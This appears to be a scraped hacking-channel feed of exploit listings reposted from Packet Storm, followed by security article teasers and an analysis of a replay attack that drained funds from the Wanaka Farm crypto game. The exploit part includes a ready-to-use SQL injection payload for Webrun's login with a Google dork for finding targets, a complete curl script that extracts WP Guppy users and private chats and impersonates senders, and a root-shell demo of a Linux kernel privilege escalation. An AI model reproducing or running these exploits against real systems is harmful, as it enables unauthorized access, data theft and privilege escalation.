Exploit Collector
Linux Kernel 5.1.x PTRACE_TRACEME pkexec Local Privilege Escalation

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Linux kernel version 5.1.x PTRACE_TRACEME pkexec local privilege escalation exploit.

MD5 | 93bf4fd882fc501f02e28d535e89918e

Download
# Exploit Title: Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2)
# Date: 11/22/21
# Exploit Author: Ujas Dhami
# Version: 4.19 - 5.2.1
# Platform: Linux
# Tested on:
# ~ Ubuntu 19.04 kernel 5.0.0-15-generic
# ~ Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
# ~ Kali Linux kernel 4.19.0-kali5-amd64
# CVE: CVE-2019-13272

// ....
// Original discovery and exploit author: Jann Horn
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// Modified exploit code of: BColes
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ....
// ~ Uses the PolKit_Exec frontend.
// ~ PolKit_Action is branched.
// ~ Search is optimized.
// ~ Trunks attain search priority upon execution.
// ....
// ujas@kali:~$ gcc exploit_traceme.c -o exploit_traceme
// ujas@kali:~$ ./exploit_traceme
// Welcome to your Arsenal!
// accessing variables...
// execution has reached EOP.
// familiar trunks are been searched ...
// trunk helper found: /usr/sbin/mate-power-backlight-helper
// helper initiated: /usr/sbin/mate-power-backlight-helper
// SUID process is being initiated (/usr/bin/pkexec) ...
// midpid is being traced...
// midpid attached.
// root@kali:/home/ujas#
// ....

#include

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Webrun 3.6.0.42 SQL Injection

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Webrun version 3.6.0.42 suffers from a remote SQL injection vulnerability.

MD5 | fe308020e86b4d39cb4caae8fd1b39a4

Download
# Exploit Title: Webrun 3.6.0.42 - 'P_0' SQL Injection
# Google Dork: intitle:"Webrun 3.6.0.42"
# Date: 23/11/2021
# Exploit Author: Vinicius Alves
# Vendor Homepage: https://softwell.com.br/
# Version: 3.6.0.42
# Tested on: Kali Linux 2021.3

=-=-=-= Description =-=-=-=
Webrun version 3.6.0.42 is vulnerable to SQL Injection, applied to the P_0
parameter used to set the username during the login process.
=-=-=-= Exploiting =-=-=-=
In the post request, change the P_0 value to the following payload:
121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd
You will see some information like below:
interactionError('ERRO: sintaxe de entrada é inválida para tipo numeric:
\"qvvxq1qbzbq\"', null, null, null, '
=-=-=-= POC =-=-=-=
If the return has the value 'qvvxq1qbzbq', you will be able to successfully
exploit this.
See an example of the complete POST parameter:
action=executeRule&pType=2&ruleName=GES_FLX_Gerar+Token+Dashboard&sys=GES&formID=8265&parentRID=-1&P_0=121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd&P_1=pwd


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress WP Guppy 1.1 Information Disclosure

https://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png
WordPress WP Guppy plugin version 1.1 suffers from a WP-JSON API sensitive information disclosure vulnerability.

MD5 | 06cdd39aea5c392eceebd821d21f9fb9

Download
# Exploit Title: Wordpress Plugin WP Guppy 1.1 - WP-JSON API Sensitive Information Disclosure
# Exploit Author: Keyvan Hardani
# Date: 22/11/2021
# Vendor Homepage: https://wp-guppy.com/
# Version: up to 1.1
# Tested on: Kali Linux - Windows 10 - Wordpress 5.8.x and apache2
# Usage ./exploit.sh -h

#!/bin/bash

Help()
{
# Display Help
echo "Usage"
echo
echo "Wordpress Plugin WP Guppy - A live chat - WP_JSON API Sensitive Information Disclosure"
echo
echo "Option 1: Get all users ( ./exploit.sh 1 domain.com)"
echo "Option 2: Send message from / to other users ( ./exploit.sh 2 domain.com 1493 1507 ) => Senderid=1493 & Receiverid=1507"
echo "Option 3: Get the chats between users ( ./exploit.sh 3 domain.com 1507 1493) => Receiverid=1493 & Userid= 1493"
echo "-h Print this Help."
echo
}

while getopts ":h" option; do
case $option in
h) # display Help
Help
exit;;
esac
done

if [ $1 == 1 ]
then
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=" | python -m json.tool
fi

if [ $1 == 2 ]
then
curl -s -X POST --url "https://$2/wp-json/guppy/v2/send-guppy-message" --data '{"receiverId":"'$3'","userId":"'$4'","guppyGroupId":"","chatType":1,"message":"test","replyTo":"","latitude":"","longitude":"","messageType":0,"messageStatus":0,"replyId":"","timeStamp":1637583213,"messageSentTime":"November 22, 2021","metaData":{"randNum":5394},"isSender":true}' -H 'Content-Type: application/json'| python -m json.tool
fi
if [ $1 == 3 ]
then
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-user-chat?offset=0&receiverId=$3&userId=$4&chatType=1" | python -m json.tool
fi

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Don't Help Cybercriminals Dash With Your Customers' Cash This Black Friday

Each security step, no matter how small, can have great impact in detecting and deterring cyber theft.

Dark Reading: Attacks/Breaches
How Sun Tzu's Wisdom Can Rewrite the Rules of Cybersecurity

The ancient Chinese military strategist Sun Tzu would agree: The best defense is to avoid an attack in the first place.

Common Bugs found in File Upload Functions
https://mikekitckchan.medium.com/common-bugs-found-in-file-upload-functions-fa9990ab404a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

File upload is a function commonly founded in web app. You may find it in social network app, job seeking app etc. Also, it is one of the…Continue reading on Medium » (https://mikekitckchan.medium.com/common-bugs-found-in-file-upload-functions-fa9990ab404a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Mnemonic - Writeup

https://cdn-images-1.medium.com/max/1220/1*OX5OZFYwmwf1ZSmvtx39bA.png
Hello! This is a writeup for the room Mnemonic from TryHackMe. The room is medium-difficulty rated. Let’s begin.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Common Bugs found in File Upload Functions

https://cdn-images-1.medium.com/max/2600/0*6RGQkuXZlMg9un54
File upload is a function commonly founded in web app. You may find it in social network app, job seeking app etc. Also, it is one of the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Read this before you use Firebase for sensitive data

https://cdn-images-1.medium.com/max/2600/0*_Fzvy1zMCzQMeEKU
Firebase is great. As a back end environment, it’s easy to set up, well secured, and very flexible. We’re big fans of it.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Why the ‘Basement Hacker’ Stereotype Is Wrong — and Dangerous

https://cdn-images-1.medium.com/max/1327/1*nH5o7ZXLPxOfBOF6N7jc1A.png
I recently sat down to think and write about a common stereotype in the security industry — that of the “basement hacker.” You know, the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

https://external-preview.redd.it/R9iuTX_UmgpLGsI5GoicTlAASRtUVo9E3NGabgbz760.jpg?width=640&crop=smart&auto=webp&s=d5b4cbcdf53d754e34389ccdf8b566c94dcaafca Original article in Vietnamese

NFT is becoming a hot trend in this DeFi world with the major success of Axie Infinity and many other NFT games. Verichains Lab has audited many NFT games, and the team is actively observing the GameFi market.

Wanaka Farm is a farm game with high user expectations. However, during alpha and beta testing, users have reported many critical bugs in-game related to withdrawing and depositing crypto. Below is an analysis done by Verichains Lab and BShield, a security startup for mobile systems' apps, about an attack targeting Wanaka Farm that allowed the hacker to steal over a million USD.

TLDR

The hacker abused the delay while transactions were being confirmed in the blockchain to perform a replay attack on the backend API. Those actions led to the backend API calling smart contract multiple times. The attacker had used this bug to steal more than $500,000 in just a few hours.

Wanaka Farm was officially released on 29th October 2021. The release happened just after reports about withdrawing/depositing funds came in, which led to a maintenance announcement. After two days, they announced that the bug was fixed.

​

https://preview.redd.it/mxi6tf57qd181.png?width=746&format=png&auto=webp&s=cea7f603fc094d1fe51b881925f0dd6ba5b1fd98

Then the developers announced an extended maintenance that lasted for weeks but kept the marketplace open.

​

https://preview.redd.it/ldzy1o3ord181.png?width=711&format=png&auto=webp&s=6fb69b5d227e1e4dab66dbb0162246f2a2fec204

However, on 11th November, the hacker abused the same bug again to pocket over $400,000. After we inspected the transaction, we found out that they created 500 addresses (to retrieve funds) to exploit that bug.

Link of this transaction: https://bscscan.com/tx/0x9bd6611c36ee393d0a3fad938911c2b91db743f3851e392e2d22c89421bcf7b2

What did the hacker do?

1. They've created 500 crypto retrieving addresses and distributed 1.188 BNB equally on all of those addresses, and each would get about 0.02 BNB. Then, they sent WANA tokens to one of the addresses (can be any).
2. On that same address, they deposited WANA into contract 0x164664fcf89f3b722bcba6f02f2c9e3b9081c2a1. After doing that, they withdrew 5-7 times. The token amount then experienced a boom that increased the amount by 5-7 times, although the hacker only deposited once.
3. Send the original token amount to another retrieving address, and send the amount collected through the deposit bug to the main wa[...]

___________________________
@hacking_Attack
@Hacking_Video